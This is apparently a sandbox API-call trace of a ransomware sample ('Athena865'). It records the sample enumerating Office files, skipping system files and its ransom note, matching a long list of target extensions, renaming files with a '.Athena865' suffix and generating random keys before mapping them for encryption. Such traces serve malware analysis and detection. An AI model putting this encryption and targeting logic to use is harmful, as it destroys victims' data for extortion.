[0144.564] lstrcmpiW (lpString1="L.HXK", lpString2="accdw") returned 1 [0144.564] lstrlenW (lpString="accft") returned 5 [0144.564] lstrcmpiW (lpString1="L.HXK", lpString2="accft") returned 1 [0144.564] lstrlenW (lpString="adb") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0144.564] lstrlenW (lpString="adb") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0144.564] lstrlenW (lpString="ade") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="ade") returned 1 [0144.564] lstrlenW (lpString="adf") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="adf") returned 1 [0144.564] lstrlenW (lpString="adn") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="adn") returned 1 [0144.564] lstrlenW (lpString="adp") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="adp") returned 1 [0144.564] lstrlenW (lpString="alf") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="alf") returned 1 [0144.564] lstrlenW (lpString="ask") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="ask") returned 1 [0144.564] lstrlenW (lpString="btr") returned 3 [0144.564] lstrcmpiW (lpString1="HXK", lpString2="btr") returned 1 [0144.564] lstrlenW (lpString="cat") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="cat") returned 1 [0144.565] lstrlenW (lpString="cdb") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="cdb") returned 1 [0144.565] lstrlenW (lpString="ckp") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="ckp") returned 1 [0144.565] lstrlenW (lpString="cma") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="cma") returned 1 [0144.565] lstrlenW (lpString="cpd") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="cpd") returned 1 [0144.565] lstrlenW (lpString="dacpac") returned 6 [0144.565] lstrcmpiW (lpString1="OL.HXK", lpString2="dacpac") returned 1 [0144.565] lstrlenW (lpString="dad") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="dad") returned 1 [0144.565] lstrlenW (lpString="dadiagrams") returned 10 [0144.565] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="dadiagrams") returned -1 [0144.565] lstrlenW (lpString="daschema") returned 8 [0144.565] lstrcmpiW (lpString1="_COL.HXK", lpString2="daschema") returned -1 [0144.565] lstrlenW (lpString="db-journal") returned 10 [0144.565] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="db-journal") returned -1 [0144.565] lstrlenW (lpString="db-shm") returned 6 [0144.565] lstrcmpiW (lpString1="OL.HXK", lpString2="db-shm") returned 1 [0144.565] lstrlenW (lpString="db-wal") returned 6 [0144.565] lstrcmpiW (lpString1="OL.HXK", lpString2="db-wal") returned 1 [0144.565] lstrlenW (lpString="dbc") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="dbc") returned 1 [0144.565] lstrlenW (lpString="dbs") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="dbs") returned 1 [0144.565] lstrlenW (lpString="dbt") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="dbt") returned 1 [0144.565] lstrlenW (lpString="dbv") returned 3 [0144.565] lstrcmpiW (lpString1="HXK", lpString2="dbv") returned 1 [0144.566] lstrlenW (lpString="dbx") returned 3 [0144.566] lstrcmpiW (lpString1="HXK", lpString2="dbx") returned 1 [0144.566] lstrlenW (lpString="dcb") returned 3 [0144.566] lstrcmpiW (lpString1="HXK", lpString2="dcb") returned 1 [0144.566] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.Athena865") returned 79 [0144.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0144.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.568] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0144.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.568] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.569] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.569] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.569] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0144.574] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0144.576] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.576] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.576] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.577] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.577] CloseHandle (hObject=0x17c) returned 1 [0144.577] CloseHandle (hObject=0x154) returned 1 [0144.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.578] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3475b500, ftCreationTime.dwHighDateTime=0x1ca95bc, ftLastAccessTime.dwLowDateTime=0x1488eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3475b500, ftLastWriteTime.dwHighDateTime=0x1ca95bc, nFileSizeHigh=0x0, nFileSizeLow=0x13a57c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.HOL", cAlternateFileName="")) returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2=".") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="..") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="windows") returned -1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="bootmgr") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="temp") returned -1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="pagefile.sys") returned -1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="boot") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="ids.txt") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="ntuser.dat") returned 1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="perflogs") returned -1 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2="MSBuild") returned 1 [0144.578] lstrlenW (lpString="OUTLOOK.HOL") returned 11 [0144.578] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK.HOL" | out: lpString1="OUTLOOK.HOL") returned="OUTLOOK.HOL" [0144.578] lstrlenW (lpString="OUTLOOK.HOL") returned 11 [0144.578] lstrlenW (lpString="Athena865") returned 9 [0144.578] lstrcmpiW (lpString1="TLOOK.HOL", lpString2="Athena865") returned 1 [0144.578] lstrlenW (lpString=".dll") returned 4 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2=".dll") returned 1 [0144.578] lstrlenW (lpString=".lnk") returned 4 [0144.578] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2=".lnk") returned 1 [0144.579] lstrlenW (lpString=".ini") returned 4 [0144.579] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2=".ini") returned 1 [0144.579] lstrlenW (lpString=".sys") returned 4 [0144.579] lstrcmpiW (lpString1="OUTLOOK.HOL", lpString2=".sys") returned 1 [0144.579] lstrlenW (lpString="OUTLOOK.HOL") returned 11 [0144.579] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.Athena865") returned 69 [0144.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.athena865"), dwFlags=0x1) returned 1 [0144.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.580] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1287548) returned 1 [0144.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.581] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.581] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.581] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.582] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a880, lpName=0x0) returned 0x17c [0144.584] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a880) returned 0x2bb0000 [0144.713] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.714] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.714] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.715] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0144.727] CloseHandle (hObject=0x17c) returned 1 [0144.727] CloseHandle (hObject=0x154) returned 1 [0144.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.733] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ede2d00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ede2d00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c67, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.HXS", cAlternateFileName="")) returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2=".") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="..") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="windows") returned -1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="bootmgr") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="temp") returned -1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="pagefile.sys") returned -1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="boot") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="ids.txt") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="ntuser.dat") returned 1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="perflogs") returned -1 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2="MSBuild") returned 1 [0144.733] lstrlenW (lpString="OUTLOOK.HXS") returned 11 [0144.733] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK.HXS" | out: lpString1="OUTLOOK.HXS") returned="OUTLOOK.HXS" [0144.733] lstrlenW (lpString="OUTLOOK.HXS") returned 11 [0144.733] lstrlenW (lpString="Athena865") returned 9 [0144.733] lstrcmpiW (lpString1="TLOOK.HXS", lpString2="Athena865") returned 1 [0144.733] lstrlenW (lpString=".dll") returned 4 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2=".dll") returned 1 [0144.733] lstrlenW (lpString=".lnk") returned 4 [0144.733] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2=".lnk") returned 1 [0144.733] lstrlenW (lpString=".ini") returned 4 [0144.734] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2=".ini") returned 1 [0144.734] lstrlenW (lpString=".sys") returned 4 [0144.734] lstrcmpiW (lpString1="OUTLOOK.HXS", lpString2=".sys") returned 1 [0144.734] lstrlenW (lpString="OUTLOOK.HXS") returned 11 [0144.734] lstrlenW (lpString="bak") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="bak") returned 1 [0144.734] lstrlenW (lpString="ba_") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="ba_") returned 1 [0144.734] lstrlenW (lpString="dbb") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="dbb") returned 1 [0144.734] lstrlenW (lpString="vmdk") returned 4 [0144.734] lstrcmpiW (lpString1=".HXS", lpString2="vmdk") returned -1 [0144.734] lstrlenW (lpString="rar") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="rar") returned -1 [0144.734] lstrlenW (lpString="zip") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="zip") returned -1 [0144.734] lstrlenW (lpString="tgz") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="tgz") returned -1 [0144.734] lstrlenW (lpString="vbox") returned 4 [0144.734] lstrcmpiW (lpString1=".HXS", lpString2="vbox") returned -1 [0144.734] lstrlenW (lpString="vdi") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="vdi") returned -1 [0144.734] lstrlenW (lpString="vhd") returned 3 [0144.734] lstrcmpiW (lpString1="HXS", lpString2="vhd") returned -1 [0144.734] lstrlenW (lpString="vhdx") returned 4 [0144.734] lstrcmpiW (lpString1=".HXS", lpString2="vhdx") returned -1 [0144.734] lstrlenW (lpString="avhd") returned 4 [0144.734] lstrcmpiW (lpString1=".HXS", lpString2="avhd") returned -1 [0144.734] lstrlenW (lpString="db") returned 2 [0144.734] lstrcmpiW (lpString1="XS", lpString2="db") returned 1 [0144.735] lstrlenW (lpString="db2") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="db2") returned 1 [0144.735] lstrlenW (lpString="db3") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="db3") returned 1 [0144.735] lstrlenW (lpString="dbf") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="dbf") returned 1 [0144.735] lstrlenW (lpString="mdf") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="mdf") returned -1 [0144.735] lstrlenW (lpString="mdb") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="mdb") returned -1 [0144.735] lstrlenW (lpString="sql") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="sql") returned -1 [0144.735] lstrlenW (lpString="sqlite") returned 6 [0144.735] lstrcmpiW (lpString1="OK.HXS", lpString2="sqlite") returned -1 [0144.735] lstrlenW (lpString="sqlite3") returned 7 [0144.735] lstrcmpiW (lpString1="OOK.HXS", lpString2="sqlite3") returned -1 [0144.735] lstrlenW (lpString="sqlitedb") returned 8 [0144.735] lstrcmpiW (lpString1="LOOK.HXS", lpString2="sqlitedb") returned -1 [0144.735] lstrlenW (lpString="xml") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="xml") returned -1 [0144.735] lstrlenW (lpString="$er") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="$er") returned 1 [0144.735] lstrlenW (lpString="4dd") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="4dd") returned 1 [0144.735] lstrlenW (lpString="4dl") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="4dl") returned 1 [0144.735] lstrlenW (lpString="^^^") returned 3 [0144.735] lstrcmpiW (lpString1="HXS", lpString2="^^^") returned 1 [0144.735] lstrlenW (lpString="abs") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="abs") returned 1 [0144.736] lstrlenW (lpString="abx") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="abx") returned 1 [0144.736] lstrlenW (lpString="accdb") returned 5 [0144.736] lstrcmpiW (lpString1="K.HXS", lpString2="accdb") returned 1 [0144.736] lstrlenW (lpString="accdc") returned 5 [0144.736] lstrcmpiW (lpString1="K.HXS", lpString2="accdc") returned 1 [0144.736] lstrlenW (lpString="accde") returned 5 [0144.736] lstrcmpiW (lpString1="K.HXS", lpString2="accde") returned 1 [0144.736] lstrlenW (lpString="accdr") returned 5 [0144.736] lstrcmpiW (lpString1="K.HXS", lpString2="accdr") returned 1 [0144.736] lstrlenW (lpString="accdt") returned 5 [0144.736] lstrcmpiW (lpString1="K.HXS", lpString2="accdt") returned 1 [0144.736] lstrlenW (lpString="accdw") returned 5 [0144.736] lstrcmpiW (lpString1="K.HXS", lpString2="accdw") returned 1 [0144.736] lstrlenW (lpString="accft") returned 5 [0144.736] lstrcmpiW (lpString1="K.HXS", lpString2="accft") returned 1 [0144.736] lstrlenW (lpString="adb") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0144.736] lstrlenW (lpString="adb") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="adb") returned 1 [0144.736] lstrlenW (lpString="ade") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="ade") returned 1 [0144.736] lstrlenW (lpString="adf") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="adf") returned 1 [0144.736] lstrlenW (lpString="adn") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="adn") returned 1 [0144.736] lstrlenW (lpString="adp") returned 3 [0144.736] lstrcmpiW (lpString1="HXS", lpString2="adp") returned 1 [0144.737] lstrlenW (lpString="alf") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="alf") returned 1 [0144.737] lstrlenW (lpString="ask") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="ask") returned 1 [0144.737] lstrlenW (lpString="btr") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="btr") returned 1 [0144.737] lstrlenW (lpString="cat") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="cat") returned 1 [0144.737] lstrlenW (lpString="cdb") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="cdb") returned 1 [0144.737] lstrlenW (lpString="ckp") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="ckp") returned 1 [0144.737] lstrlenW (lpString="cma") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="cma") returned 1 [0144.737] lstrlenW (lpString="cpd") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="cpd") returned 1 [0144.737] lstrlenW (lpString="dacpac") returned 6 [0144.737] lstrcmpiW (lpString1="OK.HXS", lpString2="dacpac") returned 1 [0144.737] lstrlenW (lpString="dad") returned 3 [0144.737] lstrcmpiW (lpString1="HXS", lpString2="dad") returned 1 [0144.737] lstrlenW (lpString="dadiagrams") returned 10 [0144.737] lstrcmpiW (lpString1="UTLOOK.HXS", lpString2="dadiagrams") returned 1 [0144.737] lstrlenW (lpString="daschema") returned 8 [0144.737] lstrcmpiW (lpString1="LOOK.HXS", lpString2="daschema") returned 1 [0144.737] lstrlenW (lpString="db-journal") returned 10 [0144.737] lstrcmpiW (lpString1="UTLOOK.HXS", lpString2="db-journal") returned 1 [0144.737] lstrlenW (lpString="db-shm") returned 6 [0144.738] lstrcmpiW (lpString1="OK.HXS", lpString2="db-shm") returned 1 [0144.738] lstrlenW (lpString="db-wal") returned 6 [0144.738] lstrcmpiW (lpString1="OK.HXS", lpString2="db-wal") returned 1 [0144.738] lstrlenW (lpString="dbc") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dbc") returned 1 [0144.738] lstrlenW (lpString="dbs") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dbs") returned 1 [0144.738] lstrlenW (lpString="dbt") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dbt") returned 1 [0144.738] lstrlenW (lpString="dbv") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dbv") returned 1 [0144.738] lstrlenW (lpString="dbx") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dbx") returned 1 [0144.738] lstrlenW (lpString="dcb") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dcb") returned 1 [0144.738] lstrlenW (lpString="dct") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dct") returned 1 [0144.738] lstrlenW (lpString="dcx") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dcx") returned 1 [0144.738] lstrlenW (lpString="ddl") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="ddl") returned 1 [0144.738] lstrlenW (lpString="dlis") returned 4 [0144.738] lstrcmpiW (lpString1=".HXS", lpString2="dlis") returned -1 [0144.738] lstrlenW (lpString="dp1") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dp1") returned 1 [0144.738] lstrlenW (lpString="dqy") returned 3 [0144.738] lstrcmpiW (lpString1="HXS", lpString2="dqy") returned 1 [0144.739] lstrlenW (lpString="dsk") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="dsk") returned 1 [0144.739] lstrlenW (lpString="dsn") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="dsn") returned 1 [0144.739] lstrlenW (lpString="dtsx") returned 4 [0144.739] lstrcmpiW (lpString1=".HXS", lpString2="dtsx") returned -1 [0144.739] lstrlenW (lpString="dxl") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="dxl") returned 1 [0144.739] lstrlenW (lpString="eco") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="eco") returned 1 [0144.739] lstrlenW (lpString="ecx") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="ecx") returned 1 [0144.739] lstrlenW (lpString="edb") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="edb") returned 1 [0144.739] lstrlenW (lpString="epim") returned 4 [0144.739] lstrcmpiW (lpString1=".HXS", lpString2="epim") returned -1 [0144.739] lstrlenW (lpString="fcd") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="fcd") returned 1 [0144.739] lstrlenW (lpString="fdb") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="fdb") returned 1 [0144.739] lstrlenW (lpString="fic") returned 3 [0144.739] lstrcmpiW (lpString1="HXS", lpString2="fic") returned 1 [0144.739] lstrlenW (lpString="flexolibrary") returned 12 [0144.739] lstrlenW (lpString="fm5") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="fm5") returned 1 [0144.740] lstrlenW (lpString="fmp") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="fmp") returned 1 [0144.740] lstrlenW (lpString="fmp12") returned 5 [0144.740] lstrcmpiW (lpString1="K.HXS", lpString2="fmp12") returned 1 [0144.740] lstrlenW (lpString="fmpsl") returned 5 [0144.740] lstrcmpiW (lpString1="K.HXS", lpString2="fmpsl") returned 1 [0144.740] lstrlenW (lpString="fol") returned 3 [0144.740] lstrcmpiW (lpString1="HXS", lpString2="fol") returned 1 [0144.740] lstrlenW (lpString="fp3") returned 3 